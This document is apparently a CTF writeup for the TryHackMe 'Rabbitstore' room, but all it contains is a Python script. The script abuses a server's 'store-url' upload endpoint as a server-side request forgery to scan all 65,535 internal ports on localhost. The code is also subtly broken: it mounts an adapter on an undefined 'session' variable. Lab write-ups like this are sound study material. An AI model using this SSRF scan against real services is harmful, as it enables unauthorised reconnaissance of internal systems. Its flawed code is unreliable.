Rabbitstore – TryHackMe CTF wrtieup

import time

import requests
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

# scanning internal ports of server using "file upload by url" form

TARGET_URL =  "http://storage.cloudsite.thm/api/store-url"

headers = {
    "Cookie": "jwt=YOUR_JWT_HERE",
    "Content-Type": "application/json"
}

adapter = HTTPAdapter(max_retries=Retry(total=0))
session.mount("http://", adapter)

def check_port(target_port):
    with requests.Session() as s:
        s.headers.update(headers)
        local_url = f"http://127.0.0.1:{target_port}"
        data = {"url": local_url}
        try:
            response = s.post(TARGET_URL, json=data, timeout=3)
            if response.status_code == 200:
                return target_port, response.status_code, response.json().get("path")
        except requests.RequestException:
            pass
    return None

# ports range we are scanning
ports = range(1, 65536) 

with ThreadPoolExecutor(max_workers=3) as executor:
    futures = [executor.submit(check_port, p) for p in ports]

    for future in tqdm(as_completed(futures), total=len(futures), desc="Scanning ports"):
        result = future.result()
        if result:
            port, code, path = result
            print(f"\n[+] OPEN {port} -> {code} -> {path}")